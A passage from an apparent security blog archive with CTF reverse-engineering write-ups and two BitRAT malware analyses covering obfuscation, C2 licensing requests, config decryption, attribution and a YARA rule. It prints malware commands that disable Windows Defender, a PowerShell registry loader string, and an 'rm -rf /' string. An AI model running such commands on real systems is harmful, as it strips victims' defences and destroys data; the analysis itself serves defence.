Inside it, it checks if the registry key operation is on the COM key “{CEEACC6E-CCB2-4C4F-BCF6-D2176037A9A7}\Config”, and if it matches that, the key is created with the class set to “H@n.$Sh0t.FiRst!”. This confirms that what we extracted earlier from our hypervisor is indeed some sort of password that will be important later on.

Onto the COM DLL that is registered, we can see that it first clears the Password and Flag field inside DllRegisterServer.

This activates the registry callback described before. Next, we can see that DllGetClassObject returns to us an object with a vtable, as is typically the case with COM APIs.

Outside of the standard functions, we can see that there is a custom function which gives us another vtable

This final vtable contains two functions, one which reads the password from the “Password” key and another which decrypted a buffer with it and writes the result to the Flag key. As a result, I LoadLibrary-d and called the functions in the COM DLL to get the password. I originally planned to write a full COM client however I decided to take the more lazy route as it works just fine.

Bugs in the challenge

This challenge had several bugs in it. The first of which is that it does not work on multi-core systems due to CapCom being used in an unsafe manner, thus we have to change our VM to be single-cored.

The second bug lies in the password decryption function. Do you see the bug?

That’s right, the variable pcbData was not initialized. The documentation for RegGetValueW states that the last parameter is a “pointer to a variable that specifies the size of the buffer pointed to by the pvData parameter, in bytes”, however in this case pcbData is not initialized and as such contains a gibberish value. In some cases, we might be fortunate enough that it contains a value that is higher than the size of the registry key and as such the read is successful, however, this is not guaranteed, as the value could be zero and the read could as such fail completely.

Challenge 10

Kudos to whoever made this challenge because it was absolutely painful and fun to work with.

A brief overview of the sample, it is essentially Armadillo but on Linux, it employs the same kind of nanomite-based obfuscation using ptrace and fork. There are two main techniques that I applied for reversing the file: static analysis and LD_PRELOAD hooking. As we cannot perform regular debugging due to the presence of nanomites, I applied the same technique discussed above to dump buffers that are passed into various functions. For reasons unknown, my dlsym hook (which was required for hooking ptrace as the function was dynamically resolved) did not work on Debian, however it worked perfectly on Ubuntu. I’ll publish the code within a few days.

When we look at the main() function, it appears deceptively simple.

However, when we input the string as a flag, the binary tells us that it stole our flag. What’s going on?

Using the technique of LD_PRELOAD hooking, I intercepted various functions such as memcmp, strcmp, as well as logged calls to ptrace() to extract information about what the binary is doing. One call to memcmp in the log stands out:

Well, if that doesn’t look like a part of the flag! What would happen when we enter it into the binary? As it turns out, the binary now consumes the entire CPU core for around 10 minutes or so before telling us that our password is wrong instead of telling us so immediately. So, we’ve likely done something right.

Further static analysis reveals a function that runs before main() which forks and initializes the first nanomite.

The nanomite debugger function then uses ptrace(PTRACE_POKEDATA) to write the UD2 instruction to the sunshine check that we first saw in

When the #UD is eventually raised, execution is redirected to the real password check function.

The function is as follows.

It’s passing rm -rf –no-preserve-root / into execve? What’s going on? As it turns out, ptrace on Linux allows for the interception of syscalls and that is exactly what’s going on here. Various syscalls are intercepted by the nanomite debugger, which then does certain operations depending on the syscall ID in EAX. The syscall ID is XORed with 0xDEADBEEF and multiplied with 0x1337CAFE resulting in the final nanomite operation ID. The IDs, their syscall, and the operations that it does is listed below.

In this case, execve simply removes the new line character at the end of a string, and nice decrypts a string from a table and writes it into the debuggee.

This is then passed into memcmp in the real password check function we’ve seen above. And voila, we have verified that what we obtained earlier is in fact the first part of the flag.

After this, we enter the function that I’ve named “stringhash_teaenc”. This function is the reason why the binary takes forever to run, as it employs not just 1 but 2 layers of nanomite to obfuscate it’s encryption algorithm.

As we can see, it gets a string using nice() and hashes it with crc64. This is then used as the decryption key to decrypt a buffer, which’s initial 20 bytes have been overwritten with the password. The entire buffer decrypts fine except for the first 20 bytes which are invalid as we do not have the password. The rest contains the entire Bee Movie script with a weird binary blob in the middle, which we will revisit later. The tea decryption functions are as follow.

There are several things going on here:

  1. The uname, pivot_root, chmod and mlockall syscalls are handled by the nanomite 1 debugger. The first 2, uname and pivot_root are simple and their operation can be easily seen in the comments above. The other 2 are more complicated. As we can see below, the mlockall handler tries to call the variable call_nanomite2. This was previously initialized to 0. The result is a SIGSEGV, which is then handled by the second nanomite debugger that we saw created earlier.
    In this case, the operation simply set eax to the second parameter + 1.

    The chmod call was similar, however in this case it does multiple operations, not just 1.
  2. As we can see, there are multiple calls to 0 inside the tea decrypt function. This is handled similarly to the way the first nanomite debugger called the second nanomite debugger, however the operation in question is a loop.
    In essence, null_call(&loop_start_address, &counter) will loop the counter from 0 to 15 and then returns.

Summing this up, we have enough information to begin implementing a non-obfuscated version of the encryption function. We can identify that it is a TEA-like algorithm based on the constant we retrieved (0x9e3779b9c6ef3720), and the key to the function is the CRC64 hash of a string, which is 0x674a1dea4b695809. Reversing the algorithm, we can decrypt the next part of the flag, which was located in the first 20 bytes of the buffer we saw earlier. We got “4nD_0f_De4th_4nd_d3strUct1oN_4nd”, which makes it “w3lc0mE_t0-Th3_l4nD_0f_De4th_4nd_d3strUct1oN_4nd”.

Recall the buffer I mentioned that was stuck in the middle of the Bee Movie script? That turns out to be a shellcode that does quite a lot of math. It’s not actually called, but reversing it will reveal the final part of the flag. The function in question uses a bignum library to do some calculation based on some data in the binary.

The first problem we have to solve is passing the first check involving bignum_03 and bignum_09. A simplified version of the function stripping out everything that’s irrelevant is as follow:

To pass the equality check, bignum_04 ^ bignum_rand mod bignum_01 must be equal to bignum_03. And as we can see, bignum_04 and bignum_03 are both the same value, and is less than bignum_01. This means that bignum_04 mod bignum_01 == bignum_04, and as such the bignum_rnd value should be 1 to ensure the equality.

The operation in question is essentially

math_powmod_naive(&bignum_02, &bignum_rnd, &bignum_01_p, &bignum_06);
math_divmod(&bignum_rnd, &bignum_01, &bignum_11, &bignum_08);
math_powmod_naive(&bignum_02, &bignum_rnd, &bignum_01, &bignum_06);
math_powmod_naive(&bignum_04, &bignum_rnd, &bignum_01, &bignum_09);
math_mul(&bignum_07, &bignum_06, &bignum_rnd);
math_divmod(&bignum_rnd, &bignum_01, &bignum_11, &bignum_10);
if (bignum_05 == bignum_10)

bignum_06 = bignum_02 ^ (bignum_rnd % bignum_01)
bignum_11 = bignum_rnd / bignum_01 // 1/bignum_01
bignum_08 = bignum_rnd % bignum_01 // 1
bignum_rnd = bignum_06 * bignum_07
bignum_06 = bignum_02 ^ (bignum_rnd % bignum_01)
bignum_09 = bignum_04 ^ (bignum_rnd % bignum_01)
bignum_11 = bignum_rnd / bignum_01
bignum_10 = bignum_rnd % bignum_01

Here, one of the images that was decrypted earlier in the binary gives us a hint as to how to solve the next part. This stackoverflow page might also be helpful.

As this part was solved with the help of someone who’s better at math than me, I’ll avoid inadequately explaining it and simply not explain it at all. You can check the official writeup for a detailed explanation when it comes out. Anyhow, solving it, we obtain the last part of the flag, “”.

Challenge 11

Challenge 11 is an DFIR challenge where we analyze the registry dump of an user infected with a Gozi-ISFB malware variant. It does not feature anything difficult like challenge 10, rather it is mostly tedious due to the huge amount of things to look through. Hasherezade’s tools were extremely helpful (though it didn’t support 64-bit binaries properly and I had to add that myself). Diaphora was also extremely helpful.

The startup of the malware was interesting and is one I have not seen before. It uses a GroupPolicy Logon Script to execute the powershell script that was stored inside another registry key. The string decodes to “iex (gp ‘HKCU:\SOFTWARE\Timerpro’).D”.

I couldn’t get Autoruns to work properly on the hive, so I initially did not find this, rather, I found the script stored inside TimerPro directly.

BitRAT pt. 2: Hidden Browser, SOCKS5 proxy, and UnknownProducts Unmasked

Posted on

Pt. 1 of the BitRAT series.

During my initial analysis, there were several features in BitRAT that I did not have the opportunity to fully analyze. As such, I thought another post is merited to explore these functionalities further. In addition to this, analysis of the binary revealed strong similarities and shared code with the Revcode malware. We could from this infer that BitRAT has a significant relationship to Revcode, whether it is the developers sharing code or the developers being in fact the same person. The information leading to this assessment will be explored in detail in the last section of the post.

Hidden Browser

I did not explore the Hidden Browser feature in much detail initially, as I assumed it would merely be an interface built on top of TinyNuke’s HVNC. However, this assumption was incorrect. The Hidden Browser (command 65-6E) is implemented separately and from scratch. The first command (0x65) calls the remote browser initializer (004B6A64), which is a considerably large function due to the heavy use of STL, Boost, and string obfuscation. Due to this, screenshots will be combined and cut to fit in the article. First, it generates a random 16-character string, which it then uses to create a named desktop.

Then, it tries to obtain the default installed browser by querying the file association for the “.html” extension.

Currently, only Chrome is supported and the function returns prematurely if another browser is set as the default .html  handler. BitRAT then checks to see if Chrome is already running. If this is the case, it creates a new browser profile in the temp directory, otherwise it uses the default profile.

It then appends some parameters disabling certain chrome features as is typical of HVNC browsers, creates the process and saves the browser window’s handle.

After this, the current thread enters a loop where it continuously screenshots the current browser and sends it back to the C2 server. The screenshot function makes use of BitBlt and GDI to take the screenshot, then convert it to a JPEG image and passes it back.

Parts of the image capturing code

Conversion to JPEG

Overall, the hidden browser is essentially another fairly basic HVNC implementation. For those not familiar with how HVNCs work, MalwareTech’s post is a fairly simple introduction that should clear things up.

SOCKS5 Proxy

For interfacing with the tor service that is dropped to disk, BitRAT makes use of the SOCKS5 library “socks5-cpp“. Interestingly, around 3 years ago a Steemit post was made describing how to use this specific library for sending traffic through Tor, this is presumably where the idea was taken from.



UnknownProducts, BitRAT, and the link to Revcode

A few days after I posted my initial article on BitRAT, @tildedennis noted that BitRAT is quite similar to the Revcode malware. Though I didn’t see it for a few days due to Twitter filtering out the notification, I was immediately interested for several reasons:

  1. I’ve dealt with Revcode before and have identified its author as Alex Yücel, notorious for developing the Blackshades malware.
  2. I knew that at one point, Revcode had a C++ payload that used Boost; however, I have not until now had a sample of this to look at and have only reverse-engineered the VB variant of it. The usage of Boost was shortly removed after it was implemented.
  3. UnknownProducts’ timezone is GMT+2, which matches Sweden. He previously pretended to be Russian, however this is utterly unconvincing for various reasons.

Given this reliable indicator that the two are possibly linked, a comparison between a sample of Revcode’s Boost variant (be535a8c325e4eec17bbc63d813f715d2c8af9fd23901135046fbc5c187aabb2) and BitRAT is in order. The sample was trivial to unpack, the packer stub was built on 18 Jan 2019 05:29:34 UTC and the Revcode file inside was built on 20 Dec 2018 03:02:36 UTC.


What first caught my eye when reverse engineering BitRAT’s RunPE is how injection APIs are imported statically (refer to the previous post) and how a function parameter controls the return value.

While the rest of the RunPE was copy-pasted, I could not find any public RunPE implementation that has such an option for the return value or even one that references dwProcessId. As such, I immediately searched for references to injection-relevant APIs within Revcode and immediately found a virtually identical function with the same method for controlling the return value.

The rest of the code was virtually identical, with the only significant difference being that BitRAT encrypts the “NtUnmapViewOfSection” string.

RunPE in BitRAT

RunPE in Revcode


BitRAT’s keylogger hook callback (4ABC8D) decodes key data into human-readable strings. For example, the strings “{NUMPAD_2}”, “{NUMPAD_5}”, “{NUMPAD_7}”, “{F12}” are used to represent such keys. The same strings are used in Revcode. In fact, the entire keyboard hook function is identical.

Part of BitRAT’s keylogger callback

Part of Revcode’s keylogger callback

Service Manager function

The service manager shares identical strings such as “Boot Start,” “Win32 share process”, “The service is stopped,” “The service is in the process of being stopped.” While these strings are likely widely used elsewhere, they are referenced in the same manner and order. Furthermore, a comparison of the control flow graph reveals that BitRAT’s service manager only differs in complexity and length due to string encryption and SEH.

The flow graph of the service manager function. BitRAT is on the left, while Revcode is on the right.

Identical command handling mechanisms

A significant amount of command names are similar between the two malware. Both abbreviates “process” as  “prc”. Both do not abbreviate “webcam”. Furthermore, both BitRAT and Revcode set up a table of command strings and command IDs the same way. The command string gets passed to a function that returns a DWORD pointer, which is dereferenced to set the command ID. The only difference between the two in the command text and the lack of string encryption in Revcode.

BitRAT’s command list initialization

Revcode’s command list initialization

Audio recording

BitRAT and Revcode both use A. Riazi’s Voice Recording library for recording audio from machines infected by it. The only difference is that in BitRAT the debugging strings are stripped out while they are present inside Revcode.

CVoiceRecording::Record in BitRAT

CVoiceRecording::Record in Revcode

Other shared strings

Some tag strings presumably for formatting data for communication are common between the two.


Decrypted BitRAT strings

Strings from the Revcode binary


Given the findings above, it should be fairly evident that BitRAT is a successor to Revcode’s Boost payload.  Sadly, UnknownProducts’ bid to remain unknown did not work out too well due to the practice of code reuse. While it is possible that the relationship is based only on code-sharing, the combination of the matching timezone makes this unlikely to be the case. Revcode dropped around March 2019, and in April 2019, UnknownProducts posted the initial development thread for BitRAT. The product was finally released in June, suggesting that Revcode’s Boost and non-Boost codebase were split into two, one for sales as Revcode and one for sales as BitRAT. This split was probably done to increase sales and market presence and to allow the aggressive marketing of illicit features such as HVNCs and remote browsers, which are meant exclusively for fraud.

You can now inline lambdas in MSVC

Posted on


Short quick post, MSVC has finally added support for inlining lambdas. It was added to the preview late June, and finally was released early August (after people asking for this feature for 2+ years). You can explicitly tell the compiler to inline a lambda by using [[msvc::forceinline]] now.

Generated code:

This is done with #pragma optimize(“”, off), if optimization was on everything would be optimized to return the final number.

BitRAT – The Latest in C++ Malware Written by Incompetent Developers

Posted on

To yearn for an HVNC sample that is not ISFB or TinyNuke is a sure sign that you are reverse engineering too much malware.

– Me


I was recently made aware of a somewhat new malware being sold under the name “BitRAT” by the seller “UnknownProducts” on HackForums. As far as I know, there has been no public analysis of this malware yet. The seller’s comments indicate inexperience with malware development, as demonstrated by him bragging about using Boost, OpenSSL, and LibCURL in his malware.

The screenshot provided was even more laughable, as we can see the developer used std::thread along with sleep_for. Given the heavy use of such libraries, the malware might as well be in Java. The naming convention is also inconsistent, mixing Hungarian notation (bOpen) with snake_case (m_ssl_stream), with the latter name being copied from an open-source project.


The Tor binary is also dropped to disk, something which no competent malware developer would do. Anyways, enough about the author’s posts, let us move on to analyzing the files at hand. The goal of this analysis is to do the following:

  • Analyze the controller and see how it communicates with the developer’s server.
  • Break the various obfuscation and anti-analysis tricks used by BitRAT.
  • Analyze the behavior and functionality of the RATs and how some features are implemented.
  • Study the relationship between BitRAT and several other malware that it is related to.

The Controller

In this section, I’ll describe BitRAT’s licensing protocol and how the malware controller determines whether the person running it is a paying customer or not. The controller software is developed in .NET and is obfuscated with Eazfuscator. The version I have was compiled on the 17th of August at 11:35:05 UTC.

The licensing protocol starts with the following HTTP request being sent:

GET /lic.php?h=HWID&t=unknown_value&s=unknown_value HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive

The response is the following string, base64 encoded:

unknown_value|NO if not licensed, OK if licensed|0|1.26|1|base64_status_update_message||

If there is no valid license associated with the HWID, the following 2 requests are made to create a purchase order:

GET /step_1.php?hwid=HWID&uniqueid=HWID&product_id=1 HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive

GET /step_2.php?product_id=1&step=2&uniqueid=HWID HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive

If you want to update your HWID, the following request is made

GET /hwid_update.php?hwid_old=[oldhwid]&hwid_new=[newhwid] HTTP/1.1
Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive

The payloads are built on the vendor’s server.

GET /client/clientcreate.php?hwid=hwid_here&type=standard& Host: unknownposdhmyrm.onion
Proxy-Connection: Keep-Alive

The parameters are as follow:

hwid: self explanatory
type: "standard" or "tor"
ip_address: self explanatory
tcp_main_port: self explanatory, 0 if tor
tcp_tor_service_port: 80 if tor, 0 if standard
install_folder and install_filename: self explanatory
pw_hash: MD5 hash of the selected communication password.
tor_prcname: name of the dropped tor.exe binary. 0 if standard.

The server runs Apache/2.4.29 (Ubuntu) and has a directory called “l” with contents unknown.

The Payload

The main sample that I will discuss is 7faef4d80d1100c3a233548473d4dd7d5bb570dd83e8d6e5faff509d6726baf2. It is written in Visual C++ with libraries including Boost, libCURL among other libraries. It was compiled with Visual Studio 2015 Build 14.0.24215 on the 14th of August at 01:32:11 UTC. The first part of the following section will discuss some of the obfuscation that BitRAT uses, the rest will focus on discussing the behaviors and functionalities as well as how those are implemented.

String Pointers

The file for reasons that are initially unknown stores string pointers into an array instead of using them directly. This is dealt with rather easily using an IDAPython script (attached at the end of the article).

Before (top) and after (bottom) renaming

Dynamic API

Some APIs in the file are loaded dynamically. The code for loading this is quite strange. First, LoadLibraryA is resolved and some DLLs are loaded with it. Then, the author resolved GetProcAddress using GetProcAddress. This highly redundant code is something that no experienced developer would write.

The APIs are then resolved. As we can see from the code the results are strangely not stored at times, for example, in this snippet WSACleanup is never stored anywhere. As was the case before, we dealt with this easily using IDAPython (the name for pmemset shown is automatically generated).

The end of the function is also shrouded in mystery, with the UTF-8 strings for the DLL names being turned into wide-character strings on the heap and then finally returned.

All of these strange quirks didn’t make sense at first, but then it struck me that I’ve seen this done before: this very API loader is a complete paste from TinyNuke. Further examination confirmed this and that some function pointers are not saved due to compiler optimization. Analyzing the code further, one could see that the entire HVNC/Remote Browser portion of BitRAT is a paste of TinyNuke with minimal modification. We’ll go into more details of this in the later section covering the HVNC/Hidden Browser.

String Encryption

Strings are encrypted at compile time using LeFF’s constexpr trick which is copied completely and unmodified. Strangely enough, Flare’s FLOSS tool does not work well on the payload for reasons unknown. As such, other less automated approaches are required for defeating this obfuscation. For this part, I had the help of defcon42 who aided greatly in writing the IDAPython scripts.

First, there are strings that are properly encrypted as LeFF intended.

Second, there are strings that MSVC for reasons unknown (read: being a bad compiler) didn’t perform constexpr evaluation on. For this, we used another script with another pattern.

Third, there are strings for which the decryption function was not inlined (as developers who are well acquainted with MSVC would know, __forceinline is much more like __maybeinlineifyoufeellikeit. Perhaps MS should consider adding the keyword __actuallyinlinewhenforceinlineisused). This is often paired with the second variant of un-obfuscation. For this, we can hook the decryptor function (which are clustered together and easy to find manually) and dump the output and caller address.

There possibly are other patterns that are generated due to compiler optimization that was missed during this process. Since the developer so nicely made use of std::string and std::wstring, I also wrote up a quick hooking library to hook the constructor of std::string and std::wstring and log the string and return address.

With this, we likely have almost all of the strings that are used by BitRAT. There possibly are some strings left over that we didn’t identify, but for the purpose of a preliminary static analysis, this is good enough.


BitRAT uses NtSetInformationThread with ThreadHideFromDebugger for anti-debugging purposes.

Command Dispatcher

The command dispatcher takes the form of a switch-turned-into-jump-table.

The array has 0x88 elements, corresponding to 0x88 unique commands. Initially, I attempted the tedious work of identifying what each of these commands semi-manually, but after working my way through around 30 commands I discovered a function (4D545D) where the list of command strings and their corresponding ID is built. The function takes the form of the following statement being repeated 0x88 times for each command.

Because statically extracting this information would be extremely tedious as the compiler generates code that does not fall neatly into patterns, I dumped the table dynamically through hooking the create_command_entry function. The full table of commands and corresponding ID is listed below:

cli_rc | 00
cli_dc | 01
cli_un | 02
cli_sleep | 03
[...] full list at
hvnc_start_run | 84
hvnc_start_ff | 85
hvnc_start_chrome | 86
hvnc_start_ie | 87

Following this, I’ll be discussing some of the most notable commands and features that the RAT has.

HVNC/Hidden Browser

The HVNC/Hidden Browser feature of this RAT is entirely copypasted from TinyNuke. The following functions from TinyNuke are present in their entirety:

The commands hvnc_start_explorer, hvnc_start_run, hvnc_start_ff, hvnc_start_chrome, hvnc_start_ie are simply copied from TinyNuke with minimal modifications. Below are two side-by-side comparisons of the code to show the level of copy-pasting I’m talking about. The top screenshot is TinyNuke, the bottom is also TinyNuke but inside BitRAT.

TinyNuke (top) and BitRAT (bottom)

TinyNuke (top) and BitRAT (bottom)

One of the most obvious indicators of TinyNuke’s HVNC is the traffic header value “AVE_MARIA” which UnknownProducts did not change.

TinyNuke (top) and BitRAT (bottom)

The HVNC client (located at data\modules\hvnc.exe) is also a complete rip-off of TinyNuke.

BitRAT’s hvnc.exe file

TinyNuke’s HVNC Server project

BitRAT’s “hvnc.exe” file

BitRAT’s “hvnc.exe” file

UAC Bypass

The UAC Bypass uses the fodhelper trick to elevate its privileges. The same code is embedded in multiple functions including the Windows Defender Killer code as well as the persistence code.

Windows Defender Killer

Arguably, this is the most laughable feature of the malware. The first few lines of assembly alone express the sheer absurdity of it.

WinExec? Are we still living in 2006? The function is only around for compatibility with 16-bit Windows!

BitRAT proceeds to run 32 different commands using WinExec to disable Windows Defender. They are as follow.

[esp] 0019F34C "reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f"
[esp] 0019F5F0 "reg delete \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /f"
[esp] 0019FD3C "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f"
[esp] 0019FBDC "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f"
[esp] 0019FCC8 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" / t REG_DWORD /d \"0\" /f"
[esp] 0019F638 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f"
[esp] 0019F6C4 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f"
[esp] 0019FE24 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f"
[esp] 0019F3B8 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f"
[esp] 0019F2B8 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f"
[esp] 0019F74C "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f"
[esp] 0019F444 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f"
[esp] 0019F880 "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f"
[esp] 0019FA7C "reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"2\" /f"
[esp] 0019FDAC "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderApiLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f"
[esp] 0019FC4C "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\DefenderAuditLogger\" /v \"Start\" /t REG_DWORD /d \"0\" /f"
[esp] 0019F95C "schtasks /Change /TN \"Microsoft\\Windows\\ExploitGuard\\ExploitGuard MDM policy Refresh\" /Disable"
[esp] 0019F4C4 "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /Disable"
[esp] 0019FA18 "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /Disable"
[esp] 0019F8F4 "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /Disable"
[esp] 0019F52C "schtasks /Change /TN \"Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /Disable"
[esp] 0019F808 "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\StartupApproved\\Run\" /v \"SecurityHealth\" /f"
[esp] 0019F590 "reg delete \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"SecurityHealth\" /f"
[esp] 0019F7CC "reg delete \"HKCR\\*\\shellex\\ContextMenuHandlers\\EPP\" /f"
[esp] 0019FB98 "reg delete \"HKCR\\Directory\\shellex\\ContextMenuHandlers\\EPP\" /f"
[esp] 0019FAF4 "reg delete \"HKCR\\Drive\\shellex\\ContextMenuHandlers\\EPP\" /f"
[esp] 0019F9BC "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdBoot\" /v \"Start\" /t REG_DWORD /d \"4\" /f"
[esp] 0019F258 "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdFilter\" /v \"Start\" /t REG_DWORD /d \"4\" /f"
[esp] 0019F198 "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv\" /v \"Start\" /t REG_DWORD /d \"4\" /f"
[esp] 0019F1F8 "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc\" /v \"Start\" /t REG_DWORD /d \"4\" /f"
[esp] 0019FB34 "reg add \"HKLM\\System\\CurrentControlSet\\Services\\WinDefend\" /v \"Start\" /t REG_DWORD /d \"4\" /f"
[esp] 0019F34C "reg add \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"0\" /f"


BitRAT uses the BreakOnTermination flag through the function RtlSetProcessIsCritical (48563B) to cause a bugcheck on termination of the process. This is done when the command line parameter -prs is present. In addition, it also attempts to elevate privileges using the fodhelper method whenever persistence is activated.

Webcam and Voice Recording

Both of these rely on open source libraries, OpenCV for webcam capture, and A. Riazi’s Voice Recording library with some debugging code removed.

Download and Execute

Usually, I would not discuss such a trivial function, but the malware author managed to write this in a peculiarly terrible way. There are basically two different methods of downloading: the first performs the typical URLDownloadToFile + ShellExecute combo.

The peculiarity lies in the second execution path. Here, the developer opted to use libcurl to download the file to memory and then uses process hollowing/runPE to execute it.

The code is rather clearly copy-pasted, given the use of the default libcurl useragent. In addition, the process hollowing code used was one you would expect to see in 2008 crypters, not 2020 malware.

BSOD Generator

Like the function above, it is also rather trivial and I usually would not bother discussing this. However, even this was completely copy-pasted from StackOverflow.


The configuration is edited into the file post-compilation by replacing two strings in the binary. The first string (offset 004C9C68) contains the encrypted configuration information, and the second string (offset 004C9E6C) contains part of what will become the decryption key.

First (004E1694), the encryption key is concatenated with the string “s0lmYr” (we will discuss this further in the next section).

Then (4E16AA), the result is MD5 hashed and truncated down to 16 characters (4E16B8).

Finally (004E16FE), the key is used to decrypt the configuration block. The decryption function uses a class called “Enc”, which is a wrapper around an open source implementation of the Camellia encryption algorithm. Decrypting the configuration of the sample in question (68ac9b8a92005de3a7fe840ad07ec9adf84ed732c4c6a19ee2f205cdbda82b9a4a05ae3d416a39aaf5c598d75bf6c0de00450603400f480879941df9ad9f61f01959d98df31f748e8761d8aa79552c751e208a939d58edf6af7d7215412144355d9dbc1b71567ac895b3fecd3552050b0d1ac6698cf6e43d605f5cabec11853cdd7aa26dfeed45878d12c16eb95cf0805135fb2abab8632e918df7b192946e5d) with the key we generated (ac4016133b9d18e2), we get the final configuration data, which is as follow:

khw3lix3kcivpsmlgglqao2ntut5gmp2ydmvnn5leduil554po5n2wad.onion|0|80|0c9c6aaa257aced0|Xauth|auth.exe|b43e92f859a4b4e81c5c7768339be3e7|Runtime Broker|

We can from this infer that the format is:

hostname|non-tor port|tor port|unknown value|installation folder|installation name|md5 of communication password|tor process name

The unknown value is unique across builds including builds from the same customer. It is possibly used by the malware author to track builds generated by customers but we can’t say much without guessing.

Possible Link to Warzone RAT

Recall the string that was concatenated to generate the key for decrypting the configuration.

As we know, Solmyr is the developer of Warzone, another RAT on HF. The features of the two RATs are somewhat similar, and both are copy-pasted from TinyNuke (Version 1.2 and up of Warzone had the string “AVE_MARIA” from the same stolen code leading incompetent reverse engineers at “threat intelligence” companies [1][2][3][4] to calling it “Ave Maria stealer/RAT” because they couldn’t figure out that this is just TinyNuke’s Hidden VNC).

However, there are a wide variety of differences that indicate that the two are not developed by the same person. First of all, the coding styles of the two are significantly different, Warzone was for the most part lightweight while BitRAT is heavily bloated. The portion of TinyNuke that was copy-pasted is slightly different as well, with BitRAT utilizing the API loading mechanism while Warzone used the regular import table and slightly modified the code as well. Below is the comparison of ConnectServer in the two RATs.



Many functionalities are also implemented differently. For example, BitRAT uses SetWindowsHookExW(WH_KEYBOARD_LL) to perform keylogging (004AFD7A), while Warzone uses a Window callback and GetRawInputData to achieve this purpose.

UnknownProducts, the developer of BitRAT, was a customer of Warzone at one point.

It is possible that the developers of the two malware have some form of code-sharing or contractual relationship. However, as there is not much public information available regarding the relationship between the two developers, we could only speculate as to why “s0lmYr” was present as a key in BitRAT.

Final Thoughts and Notes

As is the case with most HF malware, BitRAT is best described as an amalgamation of poorly pasted leaked source code slapped together alongside a fancy C# GUI. It makes heavy uses of libraries such as C++ Standard Library, Boost, OpenCV, and libcurl, as well as code copied directly from leaked malware source code or sites including StackOverflow. The choice of Camellia is somewhat unique, I have not seen this specific algorithm used in malware before.

In marketing the malware, the author makes multiple false claims. He asserted that the malware is “Fully Unicode compatible” while the TinyNuke code used ANSI APIs, he claimed the persistence is “impossible to kill” when in reality BreakOnTermination doesn’t make the process impossible to terminate and can be easily unset the same way it was set. Features such as the Windows Defender killer are terribly done and would catch the eye of anyone monitoring the system, and last but not least, the claim that the developer “[didn’t] copy anything” is most patently untrue, thankfully we “skilled reverse engineers” did in fact “compare signatures and generic behavior”. It is disappointing how easy it is for anyone with minimal programming experience can whip up a quick malware and make a profit harming others.


rule BitRATStringBased
        author = "KrabsOnSecurity"
        date = "2020-8-22"
        description = "String-based rule for detecting BitRAT malware payload"
        $tinynuke_paste1 = "TaskbarGlomLevel"
        $tinynuke_paste2 = "profiles.ini"
        $tinynuke_paste3 = "RtlCreateUserThread"
        $tinynuke_paste4 = ""
        $tinynuke_paste5 = "Shell_TrayWnd"
        $tinynuke_paste6 = "cmd.exe /c start "
        $tinynuke_paste7 = "nss3.dll"
        $tinynuke_paste8 = "IsRelative="
        $tinynuke_paste9 = "-no-remote -profile "
        $tinynuke_paste10 = "AVE_MARIA"
        $commandline1 = "-prs" wide
        $commandline2 = "-wdkill" wide
        $commandline3 = "-uac" wide
        $commandline4 = "-fwa" wide
        (8 of ($tinynuke_paste*)) and (3 of ($commandline*))


  • 7faef4d80d1100c3a233548473d4dd7d5bb570dd83e8d6e5faff509d6726baf2 (I’ve uploaded this to VirusBay, if you have access to neither VT and VB feel free to message me on Twitter and I’ll share the file.)
  • 278e32f0a92deca14b2a1c2c7984ebf505bbe8337d31440b7f1d239466f4bb74
